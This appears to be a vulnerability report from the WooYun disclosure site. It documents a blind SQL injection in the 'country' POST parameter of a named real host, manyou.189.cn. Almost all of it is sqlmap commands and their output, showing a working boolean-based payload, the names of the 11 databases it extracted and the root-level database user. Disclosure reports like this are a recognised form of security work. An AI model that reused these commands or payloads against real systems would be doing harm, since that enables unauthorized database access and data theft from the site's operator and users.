WooYun.org

域名：manyou.189.cn
页面：/queryCardTypeByCountry.do
类型：POST 盲注
参数：country
F:\123>sqlmap.py -r C:\Users\grl\Desktop\34.txt -p country --level=3 --risk=3 --
random-agent --dbms=mysql --delay=2 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20141015}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:13:39
[10:13:39] [INFO] parsing HTTP request from 'C:\Users\grl\Desktop\34.txt'
[10:13:39] [INFO] fetched random HTTP User-Agent header from file 'F:\123\txt\us
er-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/
20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)'
[10:13:39] [WARNING] it appears that you have provided tainted parameter values
('country=-1') with most probably leftover chars/statements from manual SQL inje
ction test(s). Please, always use only valid parameter values so sqlmap could be
able to run properly
are you sure you want to continue? [y/N] y
[10:13:41] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: country
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: country=-1291' OR (2174=2174) AND 'icWD'='icWD
---
[10:13:43] [INFO] testing MySQL
[10:13:45] [INFO] confirming MySQL
[10:13:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[10:13:45] [INFO] fetching database names
[10:13:45] [INFO] fetching number of databases
[10:13:45] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:13:45] [INFO] retrieved: 11
[10:14:04] [INFO] retrieved: information_schema
[10:18:44] [INFO] retrieved: jsearch
[10:20:42] [INFO] retrieved: jsearch_test
[10:23:53] [INFO] retrieved: manyou
[10:25:36] [INFO] retrieved: manyouideal
[10:28:33] [INFO] retrieved: manyouideal_test
[10:32:44] [INFO] retrieved: manyouonline
[10:35:55] [INFO] retrieved: mysql
[10:37:24] [INFO] retrieved: performance_schema
[10:42:05] [INFO] retrieved: test
[10:43:19] [INFO] retrieved: watchdog
available databases [11]:
[*] information_schema
[*] jsearch
[*] jsearch_test
[*] manyou
[*] manyouideal
[*] manyouideal_test
[*] manyouonline
[*] mysql
[*] performance_schema
[*] test
[*] watchdog
[10:45:31] [INFO] fetched data logged to text files under 'C:\Users\grl\.sqlmap\
output\manyou.189.cn'
[*] shutting down at 10:45:31
F:\123>sqlmap.py -r C:\Users\grl\Desktop\34.txt -p country --level=3 --risk=3 --
random-agent --dbms=mysql --delay=2 --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20141015}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:46:10
[10:46:10] [INFO] parsing HTTP request from 'C:\Users\grl\Desktop\34.txt'
[10:46:10] [INFO] fetched random HTTP User-Agent header from file 'F:\123\txt\us
er-agents.txt': 'Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00'
[10:46:10] [WARNING] it appears that you have provided tainted parameter values
('country=-1') with most probably leftover chars/statements from manual SQL inje
ction test(s). Please, always use only valid parameter values so sqlmap could be
able to run properly
are you sure you want to continue? [y/N] y
[10:48:25] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: country
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: country=-1291' OR (2174=2174) AND 'icWD'='icWD
---
[10:48:27] [INFO] testing MySQL
[10:48:29] [INFO] confirming MySQL
[10:48:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[10:48:29] [INFO] fetching current user
[10:48:29] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:48:29] [INFO] retrieved: root@%
current user: 'root@%'
[10:50:13] [INFO] fetched data logged to text files under 'C:\Users\grl\.sqlmap\
output\manyou.189.cn'
[*] shutting down at 10:50:13